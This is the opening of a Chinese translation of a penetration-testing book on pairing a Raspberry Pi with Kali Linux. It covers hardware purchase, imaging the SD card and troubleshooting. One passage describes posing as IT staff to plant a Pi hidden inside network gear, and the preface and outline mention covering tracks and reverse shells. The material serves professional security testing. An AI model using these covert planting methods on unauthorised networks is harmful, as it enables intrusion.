版权信息

书名：树莓派渗透测试实战

ISBN：978-7-115-44907-8

本书由人民邮电出版社发行数字版。版权所有，侵权必究。

您购买的人民邮电出版社电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。

我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。

如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。

•　著　　　　[美] Joseph Muniz Aamir Lakhani

　 译　　　　朱筱丹

　 责任编辑　傅道坤

•　人民邮电出版社出版发行　　北京市丰台区成寿寺路11号

　 邮编　100164 　电子邮件　315@ptpress.com.cn

　 网址　http://www.ptpress.com.cn

•　读者服务热线：(010)81055410

　 反盗版热线：(010)81055315

版权声明

Copyright © Packt Publishing 2015. First published in the English language under the title Penetration Testing with Raspberry Pi.

All Rights Reserved.

本书由英国Packt Publishing公司授权人民邮电出版社出版。未经出版者书面许可，对本书的任何部分不得以任何方式或任何手段复制和传播。

版权所有，侵权必究。

内容提要

本书讲解了使用便携廉价的树莓派搭配Kali Linux进行渗透测试的方法。

本书分为6章，介绍了树莓派和Kali Linux的基础知识、适用于树莓派的Kali Linux ARM版本的基本知识和环境优化、渗透测试相关的知识、树莓派的各种攻击手段、渗透测试后的工作，以及与树莓派相关的其他项目。

本书内容组织有序，通过步骤式讲解来凸显实用性和实操性，适合信息安全从业人员阅读。

关于作者

Aamir Lakhani 是一位著名的网络安全架构师、高级策略师兼研究员，负责为重要的商业和联邦企业部门提供IT安全解决方案。Lakhani曾经作为项目负责人，先后为世界500强公司、政府部门、重要的医疗服务提供商、教育机构、金融和媒体公司实施了安全策略。Lakhani曾经设计过以进攻为主的防御措施，并协助多家公司防御由地下安全组织发起的主动攻击。Lakhani被认为是行业领导者，他在网络防御、移动应用威胁、恶意软件、高级持续性威胁（APT）研究、暗安全（Dark Security）等主题领域提供了详细的架构约定（architectural engagements）和项目。Kakhani还是多本图书的作者和特约作者，其中包括Web Penetration Testing with Kali Linux 和XenMobile MDM （两者均为Packt Publishing出版）。他还曾作为网络安全专家在美国国家公共广播电台上露面。

Lakhani运营着DrChaos.com博客，该站点被FedTech Magazine评为网络安全技术的一个重要参考来源。他被评为社交媒体上最顶尖的人物之一，在他的技术领域享有盛名。他将继续致力于网络安全、研究和教育领域。

Joseph Muniz 是思科公司的一名顾问，同时还是一位安全研究员。他的职业生涯始于软件开发，然后以外包技术人员的身份从事网络管理。Joseph后来进入咨询行业，而且在与许多不同的客户进行会谈时，发现自己对安全行业产生了激情。他曾经设计和实施过许多项目，其客户既有世界500强公司，也有大型的联邦网络。Joseph是多本图书的作者和特约作者，还是许多主流安全会议的发言人。通过访问他的博客www.thesecurityblogger.com 可以看到最新的安全事件、研究和技术。

关于审稿人

Bill Van Besien 是一位软件工程师，其工作主要集中在航天器飞行软件架构、无人机自主软件，以及和空间任务操作相关的网络安全等领域。在过去几年，他一直从事软件开发，并服务于执行多个NASA太空任务的任务操作团队。他拥有计算机科学的学士和硕士学位，重点关注密码学和计算机安全。Bill在约翰·霍普金斯大学应用物理实验室的航天器软件组工作，同时还在华盛顿哥伦比亚特区的一家太阳能初创公司Nextility任职。读者可通过http://billvb.github.io了解与他的项目相关的信息。

Bob Perciaccante 是思科公司的一名安全咨询系统工程师，在信息安全领域浸淫了20多年。他还在网络和系统漏洞评估、企业监控与响应，以及不同行业中的网络访问控制等领域有过从业经验。他当前关注的是能够有效解决动态安全需求的主动网络和系统安全架构。

Antonio Rodríguez 在很小的时候就进入信息安全领域，并学习编程、网络和电子相关的知识，后来毕业于计算机工程专业。

他有20多年的从业经验，专门从事注入恶意软件分析、软件逆向分析、机器学习等主题的研究，还主导了多个安全学科相关的学术研究。

他目前供职于西班牙国家网络安全研究所（INCIBE），在CERT团队担任资深IT安全研究员。

读者可以通过http://twitter.com/moebiuz 关注他。

Kumar Sumeet 当前在英国伦敦大学霍洛威学院攻读信息安全专业的硕士学位。他的研究兴趣是系统和软件安全、数字取证和安全测试。他在2013年从印度DA-IICT毕业，获得了ICT（信息与通信技术）的学士学位。

在攻读学士学位期间，他还是Nmap项目的一名贡献人，而且在技术协会组织的讲座上担任发言人。2013年大学毕业之后，他在印度的TIFAC-DST公司找了一份兼职工作，职位是网络安全研究助理。与此同时，他也从事信息安全方面的独立研究，发现了Skype和Nimbuzz中的一些漏洞，并且发表了一篇基于应用行为来分类加密流量的论文。

有关他的项目的最新消息，请访问https://krsumeet.com 。

Marius Voila 是一位具有14年经验的Linux系统管理员，在运维领域造诣颇深。他专门从事部署、云计算、负载均衡、规模扩展和性能调优，以及开发灾难恢复最佳实践等领域的工作，比如备份和恢复、防火墙和服务器安全审计。

前言

本书的主要内容是通过综合Kali Linux的强大威力和树莓派便携又廉价的特点，两者强强联手，在不需要大运算量的项目里，构造一套异常灵活的渗透测试平台。我们已经把这套软硬件组合运用于远程渗透和漏洞测试。由于树莓派非常便携，可以方便地在不同位置进行安全测试评估，还可以通过配置，既能远程控制树莓派，又不会留下什么痕迹。此外，树莓派不落痕迹的特点，加上其低功耗的特色，使得在搭配外置USB电源后，能在户外的环境里工作1～2天。对渗透测试人员来说，在树莓派平台上使用Kali Linux实现安全测试的目标，是一种独特又高性价比的选择。

本书内容安排

第1章，树莓派和Kali Linux基础知识：如何购买树莓派，安装Kali Linux，最开始怎样登录Kali Linux和一些常见问题的解答。

第2章，树莓派预备步骤：初步介绍Kali Linux ARM版本操作系统，以及如何优化环境，使树莓派适用于本地和远程渗透测试。

第3章，渗透测试：目标是帮助读者理解网络扫描、无线破解、中间人攻击和突破加密通信等技术手段。

第4章，树莓派攻击：介绍利用树莓派上的工具和方法，怎样攻击测试的目标，手段包括攻击工具、社会工程学、钓鱼和恶意蜜罐。

第5章，结束渗透测试的工作：包括如何在报告里整理结果，如何在渗透测试后掩盖痕迹。

第6章，其他树莓派项目：介绍其他渗透测试工具集、防护工具和各种树莓派使用场景 [1] 。

阅读本书的先决条件

如果希望用树莓派作为安全评估的工具，请参见第1章关于购买树莓派和其他系统组件的详细信息，在后续章节中会用到。Kali Linux和本书提到的其他软件应用都是开源的，可以免费下载。

本书读者对象

本书的主题是用最流行的开源渗透工具集Kali Linux，把树莓派变成一套黑客适用的军火库。如果各位读者需要寻找一款价格低、体积小的黑客工具，可以从远程访问，本书的理念就非常适合你。如果作为渗透测试人员，希望削减出差成本，只要把这个低价的节点设备放到目标网络，然后通过本书的方法，就可以大大地节省成本。如果你是渗透测试领域里的新人，希望学习渗透经验又不希望花太多的钱在昂贵的硬件上，本书也会很有帮助。如果你恰好是一位树莓派玩家，但也对黑客技术感兴趣，本书就同时覆盖了这两方面的内容。本书的读者并不需要是有经验的黑客或程序员。当然如果有网络方面的经验会更好；但要学习本书的知识理念，并不强求具备网络知识。

[1] 　译者注：此处原文为use case，翻译成“用例”只是原来的约定俗成，并不利于理解。本书有无数的地方出现了use case，译为“使用场景”均比“用例”更易懂，故修改。

第1章　树莓派和Kali Linux基础知识

Kali Linux的用户包括全球各地的安全专家、黑客们和研究者，是最受欢迎的渗透测试平台之一，主要用于安全和漏洞评估、攻击研究和风险测试。Kali Linux包含众多流行的开源工具，适用于渗透测试的方方面面。Kali Linux的前身是BackTrack 5 R3，然后逐渐进化到一套完整的Linux桌面系统。

树莓派电脑以超低价著称，它使用HDMI（高清晰度多媒体接口，High Definition Multimedia Interface）线与显示器相连，可以外接USB键盘和鼠标。许多计算机专家都记得以前的电脑并不是打开电源就立刻能用的，那时候的电脑往往还得先在机器上折腾一下才能运作。树莓派可以用于学习计算机体系和编程，而价钱却非常便宜。人们已经利用它的便携性和低价，搭建出各种学习设备、远程摄像头、安全系统、地震监测仪和诸多各类项目。

本章讲解了以下内容：

如何购买和组装树莓派；

安装Kali Linux；

怎么把Kali Linux和树莓派结合起来；

克隆树莓派SD卡；

需要规避的常见问题。

1.1　购买树莓派

本书中，选择的是树莓派Model B+型号。其他型号也都大同小异，当然，如果型号不同，可能需要自己微调某些配置。

图1-1中展示的就是树莓派B+产品。

图1-1

树莓派B+型号和前代相比，有以下重要改进：

更多的USB接口；

更强的热插拔处理能力；

网卡配置了新的状态灯显示；

支持40针脚的GPIP（General-Purpose Input/Output）接线头；

使用microSD卡而非完整尺寸的SD卡；

低能耗要求。

网上有一些现成的树莓派套装，如树莓派完备版套件（Ultimate Kit），在本书写作时，美国亚马逊网站上的价格为79.99美元。套装里包括一个树莓派B+型号主机、外壳、电源适配器和一个Wi-Fi无线网卡。当然也可以只买一个基本的B+主机而不买电源适配器、SD卡等。如果只买主机本身，在www.amazon.com 上只需要大概40美金。要完成某些任务，如网络监听，就需要用到第2块网卡了。而树莓派默认只有一个有线网卡。要实现这些目标，就要再花11美金买一个USB接口的有线网卡 [1] 。而且，大部分的套装也没有包括适用于电脑上SD卡槽的转接套 [2] 。例如，MacBook Pro电脑上有SD卡接口，但还得配备一个microSD卡的转接套，才能对树莓派的microSD卡进行格式化，这个转接套的价钱大概在10美金左右。对无线渗透测试来说，还需要一个USB无线网卡，大概10美元可以买到。总的来说，大部分树莓派的组件都不算贵，所以整套系统的价格也就在50～100美元。

图1-2显示的是从盒子中取出来的树莓派主板。

图1-2

图1-3所示为在eBay上销售的一款树莓派套装。

图1-3

图1-4所示为一个USB有线网卡。

图1-4

图1-5所示为microSD到SD卡的转接套。

图1-5

图1-6为USB接口的无线网卡。

图1-6

CanaKit Wi-Fi无线网卡体积较小，便携性佳，兼容性强，非常适合树莓派使用。

在本书中，我们会学习将树莓派作为远程渗透测试的探头 [3] 使用，并使用它的无线功能再连回中心管理系统。在逐渐熟悉了树莓派和Kali Linux，以及其他渗透测试应用后，很可能就会用到上面提到的这些组件。以下是构造一套用于渗透测试的树莓派需要的清单列表：

树莓派B+ 型号主机，大概35～45美元；

USB无线网卡，大概10～20美元；

USB有线网卡，大概10～20美元；

SD和microSD卡转换器，包括microSD卡，大概10～20美元；

电源适配器，大概5～10美元；

USB充电宝，用于移动渗透测试，大概10～20美元。

入门级套装总价大概在60～90美元，具体总价取决于包括哪些组件。

上述清单里没有包括使用HDMI连接的显示器、USB键盘和鼠标，通常在搭建启动映像时会需要用到它们。

1.2　组装树莓派

树莓派就是一块电路敞开着的芯片板。人们通常都希望能保护这块板子，在放置它的目标位置也最好有个盒子能把它藏起来。树莓派外壳一般是把整个板子放进去，或通过卡楔的方式把板子固定起来。树莓派装好后，板子多半就藏在盒子里了，但输出的接口都会留出来，可以从外部访问到。

下一步是把输入和输出设备如键盘、无线网卡和鼠标等，整合组装在一起。树莓派B+型号有4个USB输出接口。还有一个HDMI输出，可以接到显示器上。在电源方面，树莓派使用的是5V的microUSB电源，可以通过USB Hub、电源适配器或此类设备进行供电。树莓派的核心是装在microSD卡上的软件；所以需要先把Kali Linux的映像文件安装到microSD卡上，再将这块卡插进树莓派里。

某些树莓派的microSD卡上预装了软件。建议在格式化这张microSD卡前，先克隆一下上面的软件，再安装Kali Linux，这样就可以保存一份出厂预装的软件了。克隆microSD的过程会在本章后面的内容里出现。

1.3　准备microSD卡

现在树莓派组装好了，接着先安装Kali Linux。大部分计算机没有microSD接口，但是许多系统如苹果公司的MacBook有SD卡接口。如果连SD接口也没有，可以外接一个USB SD和microSD读卡器，价格也很便宜。我本人使用的MacBook上面有SD接口，再配一个microSD转接器，就可以格式化树莓派的microSD卡了。

所使用的树莓派microSD卡容量至少为8GB，才能比较正常地运行Kali Linux。另外还得确保这张microSD卡是高速卡。建议在大部分项目下使用class 10类型的microSD卡。

图1-7就是一块class 10的金士顿8 GB microSD卡。

图1-7

解决了计算机访问microSD卡的问题后，需要先格式化这张卡。可以从SD协会（SD Association）的网站www.sdcard.org 上下载一个免费应用，如图1-8所示。

图1-8

该应用可以格式化microSD卡。下载和使用步骤如下。

1．通过Web浏览器访问https://www.sdcard.org/home/ 。

2．在左边的菜单栏里选择Downloads。

3．然后选择SD Card Formatter 4.0。

4．再根据使用的操作系统选择版本。有Mac和Windows两个版本。

5．最后，选择接受End User License Agreement，下载该软件并安装。

下载完成后，插入SD卡，启动SD Card Formatter应用。确保选择了正确的介质，准备好后，点击Format按钮。程序会擦除SD卡上的所有信息，为安装Kali Linux做好准备。

确保要格式化的是正确的驱动盘，否则可能会误删了其他驱动盘上的内容。

确保在格式化microSD卡前先备份当前映像内容，以免丢失默认软件和其他数据。如何克隆microSD卡在本章也会提到。

图1-9显示的是启动SDFormatter应用时的场景。

图1-9

如果使用的是苹果电脑，点击Finder，在搜索里输入Disk Utility。若此时microSD卡已经插好了，在Disk Utility里就能看到Drive选项下的microSD磁盘。点击microSD卡再选择右边的第2个Tab页面，这个Tab正好在居中的位置，名叫Erase。建议其中的Format选择MS-DOS（FAT）格式。不用给microSD卡起名，就让Name一栏留空。然后，点击Erase按钮格式化这张卡。

图1-10展示了Disk Utility里的界面。

图1-10

1.4　安装Kali Linux

现在准备好可以在树莓派上安装Kali Linux了。默认来说，用于树莓派版本的Kali Linux安装包已经为树莓派设备的内存和ARM处理器做过优化。碰到特定的渗透测试目标，树莓派还是令人满意的。但如果加入过多的工具和功能，树莓派设备的性能可能会跟不上，导致在实验室之外的场景会变得难以使用。要想在树莓派上安装完整版的Kali Linux也是可以的，但需要单独安装各个Kali Metapackages软件包，这个已经超出本书范围了。对需要用到完整版Kali Linux的场景，建议还是换个更强劲的系统。

要在树莓派上安装Kali Linux，需要先到Offensive Security的网站上下载树莓派对应的安装映像文件。地址为http://www.offensive-security.com/kali-linux-vmware-arm-image-download/ 。

图1-11显示了可供下载的Kali Linux Custom ARM Images [4] 。

图1-11

最好在安装前，计算和对比下载的映像文件的SHA1SUM摘要值，以验证没有被篡改。

映像文件下载好之后，就要将它写入microSD卡上。如果使用的是Linux或Mac操作系统，可以使用内置的dd命令行程序。如果使用的是Windows系统，就要使用Win32 DiskImager程序。

Win32 Disk Imager是一套免费工具，用于将raw映像文件写到SD/microSD卡上。如果microSD卡用了图1-5所示的那种USB转接套，这个工具有时候会出问题，已经有人报告过这个现象了。

Win32 Disk Imager程序的下载地址为http://sourceforge.net/projects/win32diskimager/ 。

下载完成后，只要选择映像文件和可移除介质，然后就可以开始写入的过程。整个过程可能需要一点时间。MacBook的系统上大概花了30分钟。

现在可以准备安装之前下载的Kali Linux映像了。先将压缩文件解压到桌面上。可以用类似7-Zip这样的程序解压下载的文档。

图1-12是Win32 Disk Imager程序的界面。

图1-12

如果用的是Mac平台，第一步是确定操作系统读取SD卡的位置。可以在终端输入diskutil list命令以达到这个目的，执行的结果如图1-13所示。

图1-13

在图1-13中可以看到，SD卡被标记为disk1。也看得出来，这张microSD卡上有分区，说明还没有格式化这张卡。此时应该按照本章开头的描述，先格式化这张卡再做后续步骤。

虽然我更喜欢用前面提到的SD Card Formatter程序，但也可以在直接在Mac里通过命令行直接格式化SD卡，步骤如下所示。

1．首先，需要输入diskutil unmountDisk /dev/disk1这条命令，先卸载已在使用的SD卡。

2．然后再输入sudo newfs_msdos -F 16 /dev/disk1命令格式化SD卡（千万要确保输入正确的磁盘名称。如果搞错了后果非常严重）。

强烈建议先用分区工具把microSD卡上的分区都先删掉，再进行格式化。

3．此时需要输入Mac操作系统的系统/管理员密码。

在上述格式化相关命令中，用的是disk1这个名称，因为操作系统自动把SD卡分配为disk1。但操作系统给SD卡分配的可能是另一个编号。确保在执行上述命令时，用的是正确的磁盘编号。

在复制映像文件之前，最好格式化SD卡。但值得说明的是，后面用dd命令时，执行的是从映像文件到SD卡的逐比特复制，所以并非一定要格式化SD卡。但格式化操作可以防止一些其他错误和异常。

现在可以安装之前下载的Kali Linux映像文件了。先将下载的文档解压到桌面。可以使用Mac平台的Unarchiver或Keka来解压文档。

然后确定解压后映像文件名。例如，解压出来的映像文件名为kali-1.0.9- rpi.img。最好再度确认一下系统是否可以访问SD卡。方法是再次输入diskutil list命令。

输入以下命令，把映像文件安装到SD卡上（可能需要再输入一次Mac操作系统/管理员密码）：

sudo dd if=~/Desktop/kali-1.0.9-rpi.img of=/dev/disk1

图1-14显示了前面这条写入命令执行后的结果 [5] 。

图1-14

在映像文件写入microSD卡的过程中，命令提示符会处于停顿状态。休息一下就好，因为这个过程是颇需要一点时间的。在我的系统上，花了差不多30分钟才完成。

可以按下Ctrl + T组合键，向正在运行的程序发送SIGINFO命令，以查看dd命令的运行进度。

图1-15显示了映像文件写到microSD卡的过程，此时命令行提示符处于停顿状态的样子 [6] 。

图1-15

如果不加上sudo命令，OS X系统下要用dd命令把映像文件写到microSD卡上时，可能会出现权限不够的提示。如果使用的命令行和上面的略有差异，确保sudo对后面的整个命令都有效，所以建议把sudo后面的命令用括号括起来，以免出现这个错误。

完成映像文件的安装后，只要把microSD卡插入树莓派，打开电源，就可以启动系统了。启动系统可能需要花5分钟。然后输入用户名为root，密码toor，登录Kali系统。如果希望启动到图形界面下，只要在终端输入startx。恭喜！这套运行在树莓派上的Kali系统就装好了。

系统的启动可能需要点时间。树莓派支持图形用户界面（GUI），可以输入startx启动图形界面。但是，建议在树莓派上还是以命令行为主。如果输入了startx命令，可能需要20分钟来加载图形界面，而且用起来非常慢，甚至会没有响应 [7] 。

1.5　把Kali和树莓派结合起来

Kali Linux的树莓派版本映像文件已经为树莓派做过优化。登录时，用户名为root，密码为toor。建议登录后，立刻输入passwd命令修改默认密码。大多数攻击者都知道Kali Linux的默认登录信息，所以最好保护好树莓派免受恶意访问。

图1-16展示了重置默认密码的passwd命令。

图1-16

输入startx命令后，屏幕会短暂地变空白。这是正常的。加载X Windows（GUI）桌面，它会提示是否使用默认工作空间或另开一个空白的工作空间。选择默认工作空间。选择后，桌面会尝试重载或重绘。完全加载可能需要几分钟时间。

图1-17显示的就是输入startx命令时的截图。

图1-17

需要做的首要任务就是升级操作系统和软件包。升级的过程会需要一点时间，在此过程中也会显示当前的进度。然后还需要在X Windows（GUI）环境里再做一次升级。不少用户反映说软件包没有完全升级成功，因为这些用户不是在X Windows环境下执行的升级。在启用apt-get upgrade命令升级前，请先输入startx，登录X Windows环境。

图1-18显示的是输入apt-get update命令的截图。

图1-18

然后输入apt-get upgrade命令，如图1-19所示。

图1-19

在Kali Linux GUI里进行升级的步骤如下。

1．确保先登录X Windows桌面（使用startx命令）。

2．打开终端窗口。

3．输入apt-get update命令。

4．输入apt-get upgrade命令。

5．输入sync命令。

6．输入sync命令。

7．输入reboot命令。

在升级了系统后，要输入sync命令（作为个人习惯，会输入两次）。再输入reboot命令重启系统。在几分钟内，系统重启，再次登录系统。输入startx命令打开Kali Linux GUI。

图1-20为输入sync和reboot命令的情景。

图1-20

需要在X Windows（GUI）环境下执行apt-get update和apt-get upgrade命令来升级系统。如果不这么做，X Windows环境有可能会变得不太稳定。

完成以上步骤后，就可以开始用这套跑在树莓派上的Kali Linux进行渗透练习了。

1.6　树莓派的优点和缺点

本书各处也都提到，树莓派是一种低价的运算选择，可以有各种用法。但廉价的系统通常运算能力也有限，所以树莓派在任何类型的渗透测试中，对需要动用大量资源的任务就无能为力了。所以强烈建议只在特定的任务里使用树莓派，而不要把它当成全功能的渗透工具集，因为完整安装的Kali Linux版会比受限的ARM架构的Kali Linux提供多得多的工具。

下面两个截图选择的是同一个类别里的程序做对比，展示了ARM架构版Kali Linux和完整版Kali Linux的程序差异。另外，在Kali Linux ARM里，某些工具在图形界面环境里无法正常工作，或无论是否图形界面环境都不能用。这时候在比树莓派功能更强的系统中安装完整版的Kali Linux工具会更可靠。图1-21展示的是Kali Linux ARM版本中Live Host Identification类别的工具，这类别里只有ncat和nmap。

图1-21

图1-22则是完整安装版本Kali Linux中同样的Live Host Identification类别工具。可以看到图中，这个类别里的工具明显更多。

图1-22

1.7　树莓派渗透测试场景

有些使用场景非常适合树莓派的“酷”特征。首先它能在难以亲身前往的位置里提供低成本的远程渗透测试节点。例如，要为远在中国、英国和澳大利亚的分支机构提供渗透测试服务，彼此间带宽也比较受限。使用树莓派就可以不用真的出差到每个地方，只需要向客户收取树莓派的价钱，然后给每个地方寄一个树莓派过去。只要当地有人帮助将树莓派接入网络，就可以执行远程渗透测试了，这样能极大地节省差旅和硬件的开销。大多数情况测试完后，客户只要把树莓派下线，放在一边就行，反正也很便宜。用这个方法，能帮客户节省一大笔钱，而不需要用企业云扫描工具，否则在每个地方都这么做成本可就高多了。

另一个使用场景是偷取普通用户的信任，宣称自己是IT人员或电信公司客户代表来做维护，实体地将树莓派接入目标网络。树莓派主板可以藏在其他正常外观的硬件里，如思科的交换机、Hub等，并把树莓派接到某个网口上去。普通用户不会无端怀疑网络设备，看起来它出现在那里还挺合理的。

在这些使用场景里，主要的卖点都得归功于树莓派的低价，即使丢了一套也不至于破产。另外，在这两个场景里，由于树莓派的体积很小，所以它的便携性极高。因此，树莓派比诸多其他昂贵的远程渗透工具集如PWNIE Express [8] （并不是说PWNIE Express的工具就不好或不值得拥有，但它们确实比树莓派贵多了），就显得更适宜了。说到PWNIE Express这家公司，读者也可以在树莓派上运行该公司的轻量版PWNIE Express软件，这会在本书最后做介绍。

常规考虑使用树莓派的出发点，是因为它设计灵活、软件丰富，以及在线社区的支持。有无数的网站专门讨论树莓派各种花样百出的玩法。所以碰到问题时，通常在Google上一找都能发现答案。操作系统也有很多选择，而且几乎用到的软件都是开源的。这使得各种设计需求都可能实现，如开发一套使用者数量众多但价钱适宜的移动教室。

树莓派能做的事情数不胜数。在渗透测试方面，Kali Linux提供了基本上会用到的所有工具。尽管Kali Linux ARM功能有点受限，但可以通过apt-get命令下载缺失的工具，以符合渗透测试练习的要求，当然这工具最好不需要大量的运算。在本书后续内容里会说到如何下载缺失的工具。所以，花上50～100美元买个树莓派，到在线论坛参考下用树莓派可以干啥，将其作用尽情发挥出来吧。

1.8　克隆树莓派SD卡

在要格式化树莓派，准备安装Kali Linux前，强烈建议先备份原版的系统软件。大多数树莓派microSD卡上是以NOOBS的形式（New Out of the Box Software的缩写）来安装各种操作系统，可以从中选择安装一种操作系统。如果microSD卡已经被擦除重写了，也可以从这个地方重新下载NOOB软件：http://www.raspberrypi.org/downloads/ 。

克隆SD卡的过程很简单。很多Windows程序，如早先介绍过的Win32 Disk Imager，都可以精确复制一份SD卡映像文件。在Mac平台上，要确认SD卡的名称，可以打开命令行提示然后输入diskutil list命令，如图1-23所示。

图1-23

在图1-23中，可以看出我的microSD卡为/dev/disk1。而各位读者的系统上microSD卡的编号未必和我一样；所以要先确认microSD卡的磁盘名称。要克隆这张卡，并把磁盘映像文件保存到桌面上，需要输入以下命令：

sudo dd if=/dev/disk1 of=～/Desktop/raspberrypi.dmg

图1-24展示了输入这条命令后，还需要输入密码才能继续运行这条命令。

图1-24

克隆整个SD卡的过程大概要30分钟。创建映像文件的速度取决于卡的大小和microSD卡的速度、卡上的数据量和电脑的运算能力等。总之，耐心点，慢慢复制吧。

OS X系统下，将映像文件写到microSD卡上时，如果不加sudo命令，可能会无权写入。如果所用的sudo命令有更复杂的形式，可以在后面使用括号，确保sudo包括后续的所有操作，否则可能还是会出现这个问题。

1.9　避免常见问题

最糟糕的事情莫过于已经按照书上的指引，却还是碰到各种问题。在以往装过的不少树莓派系统中，也碰到一些有趣的问题，当然有时候这些拦路虎还蛮讨厌的。下面这些是碰到过的问题以及建议：希望这些到处碰壁得来经验教训能节省大家宝贵的时间。

电源问题：我们试过一些很迷你的USB电源充电器，为树莓派提供5V microUSB电源，这样更便携。但这么做有时候行得通有时候不行，树莓派看上去也通上电了，但系统就是不启动。确保要提前测试好，因为某些电源充电器就是不好用。大多数树莓派系统在侧面有电源指示灯，红灯代表通电，黄灯代表工作正常。请查阅树莓派生产厂商的网站获得对应型号的具体信息。

MicroSD卡的读取问题：据说某些microSD卡读卡器在插到机器上后，操作系统无法识别SD卡。有些Mac用户说：“得朝SD卡读卡器接口里吹气”，还有的人发现要用外接的独立读卡器，操作系统才能识别microSD卡。建议更换其他系统试试看。如果想买个microSD卡转换器，确保厂商标明这是兼容树莓派mciroSD卡的。外接microSD卡读卡器不会超过10美元。也可以参考这个网页里的常见问题来帮助获得：http://elinux.org/R-Pi_Troubleshooting 。
将映像文件安装到microSD卡上后，树莓派却不工作，请确认microSD卡的插法是否正确，microSD卡有可能插反了，或卡的类别不对。如果正确地插入了microSD卡，但系统上电后却什么反应也没有，请确保电源是否正常。下一个问题是映像文件可能没有正确安装好。我们曾经碰到过一些用户，在执行dd的过程中，电脑自动进入休眠状态，所以只刻录了部分的Kali Linux映像。要确保映像文件完整无误地刻录到microSD卡上了。另外，还要确认下载的映像文件是否为官方正版。Offensive Security为下载的映像文件提供了SHA1SUM值，可用于确认映像文件是否被非法篡改过。另外，请确认下载的方式是否正确，否则映像文件有可能毁坏了。如果系统能启动，在屏幕上出现命令行提示符前，仔细留意启动顺序里出现的错误信息。

权限拒绝：许多Mac用户发现自己没有运行dd命令的权限。原因可能是以下几个方面。首先，要确保自己的microSD卡和SD适配器没有被置于只读的状态。然后，确保读卡器和适配器工作正常。听过有说法是Mac用户得“朝SD读卡器接口里吹气”以清理里面的灰尘，才能工作正常。确保使用sudo命令时对整个语句有效，如前面我们说到过的。如果错误一直持续，试试看换一个外接microSD卡读卡器，现在这个读卡器可能格式化没问题，但用dd命令的时候会有问题。

输入startx后屏幕空白：在命令行输入startx后，理应看到树莓派启动Kali Linux GUI。启动速度取决于树莓派上安装的软件大小和运行速度和具体装了什么，可能需要好几分钟才能启动图形界面环境。如果装了太多的应用，导致系统太慢，树莓派可能就不胜负荷了，图形界面就冻住了。像早前说过的那样，强烈建议对特定的渗透测试目标只安装必要的软件，没必要的软件不要安装。如果需要大量的运算处理或完整功能的Kali Linux，有许多性能更好的平台可供考虑，就不要使用树莓派了。另外，在树莓派下，发现很多软件在命令行下的运行好过在GUI环境下。所以如果可能，尽量使用命令行状态下的Kali Linux。

在执行了startx之后，移动鼠标时变成白屏：在Kali Linux GUI环境下，从终端窗口运行了apt-get update并重启了系统。第二次启动后，再执行startx，系统貌似正常启动了；但是当移动鼠标时，屏幕变空白了。如果在上一次关闭系统时，正打开着Web浏览器，重启后浏览器还显示着；但是如果上一次重启前已经关了浏览器，屏幕上就什么也没有了，只有鼠标在空白屏幕上移动。有时候树莓派在第2次启动startx的时候会出现这种状况，即使没有执行过升级。
这个问题的原因是在执行apt-get update时，有些文件没有正常升级，这会导致显示上出问题，或所装的这个版本Kali Linux运行不正常。有两种解决方法。
你很可能在X Windows环境之外执行过apt-get update和apt-get upgrade命令。所以得重新刻录映像文件，再到X Windows环境下执行apt-get update和apt-get upgrade命令，然后执行sync和重启系统。完全照做即可避免此类问题。
另一种做法是从一份新的Kali Linux映像文件重新制作microSD卡然后不执行apt-get update。我是知道背后缘由的，但有些人会花上两个礼拜抓狂地想找原因，但实际上只需花30分钟就可以重新写入一遍，恢复后就能继续下一步工作了。当然得记住，总是有可能碰上鼠标移动时的白屏问题，所以建议还是按本书里的update和upgrade步骤进行，再开始使用树莓派上的Kali Linux。

在GUI里找不到Kali Linux的工具菜单：我们发现在某些版本的树莓派Kali Linux ARM映像里，系统能正常启动，但输入startx启动GUI后，GUI加载完毕后，应用的下拉菜单里却压根没有Kali Linux的各种工具。这种现象与之前提到的显示问题类似，可以在重新登录GUI的时候，立刻执行apt-get update和apt-get upgrade相关步骤。update和upgrade命令会在安装和升级过程中，修复引起问题的受损文件。按照推荐的update和upgrade步骤执行后，成功地升级并重启过系统，应用菜单里的Kali Linux软件就又重新出现了。

网址http://elinux.org/R-Pi_Troubleshooting 有大量问题解答资源，可帮助解决问题。

总结

在本章中，我们探讨的内容包括如何购买硬件，如何组装一个树莓派。我们建议了各种硬件组件，如microSD卡和无线网卡，以配合本书后面章节的内容。

在买好需要的硬件后，接着介绍了在树莓派上安装Kali Linux的最佳方式。这包括格式化和升级Kali Linux的详细步骤，以及碰到的常见问题和可能的修复方式。在本章节的最后，读者应该就安装好一套能正常工作的Kali Linux了，软件也已经过升级，树莓派上运行的各种程序也适用于入门的基本设置。

在下一章，会讨论树莓派用作渗透测试平台的优势，还会讨论如何优化树莓派上的Kali Linux应用，以及如何远程控制和管理作为Kali Linux攻击平台的树莓派。

[1] 　译者注：原文直译是“以太网卡”，但改成有线网卡普通读者应该更容易理解。

[2] 　译者注：这里“转接套”对应的英文是adapter，adapter这个单词指代非常含糊。在有把握的地方，酌情改成容易理解的称呼。

[3] 　译者注：这里的原文是agent，和前面的adapter一样，较为含糊，酌情叫“探头”。

[4] 　译者注：实际上现在Kali Linux树莓派版下载地址为https://www.kali.org/downloads/ ，如为树莓派2 B+或树莓派3，请选择页面上的Kali Linux armhf下载链接。

[5] 　译者注：这个截图明显换了在另一位作者的机器上操作，编号和机器名都变了！而且图中SD卡的编号变成了/dev/disk2，正好印证了前述作者们提到的要多注意SD卡编号的问题。

[6] 　译者注：这张图原作者也许放错了！因为屏幕上显示的已是树莓派启动时的画面。

[7] 　译者注：作者写作本书的时候还是树莓派1，等本书出版的时候，主流型号应该是树莓派3，图形界面已不是问题。

[8] 　译者注：PWNIE Express公司推出了若干款基于平板电脑和手机的渗透和安全评估产品。

第2章　树莓派预备步骤

在用于安全评估时，树莓派的运算能力有限。因为它的设计初衷仅是1台低功耗的便携计算机，目标人群是教育界和计算机爱好者们。这个开放平台的运算能力虽然有限，但它也有很多强大的使用场景，比如安全专业人士可以将它用于渗透测试和其他服务。本章的重点是使用Kali Linux（或其他操作系统）的树莓派，还需要再做哪些步骤，才能开始实施渗透测试。

本章讲解了以下内容：

树莓派使用场景；

C&C服务器（主控服务器，Command & Control Server）；

渗透测试需要做哪些准备；

超频；

设置无线网卡；

设置Kali Linux上的3G USB网卡；

设置SSH服务；

设置默认私钥和管理；

通过SSH做反向shell；

安全通道（Stunnel）；

将以上技术运用到一个例子中。

2.1　树莓派的使用场景

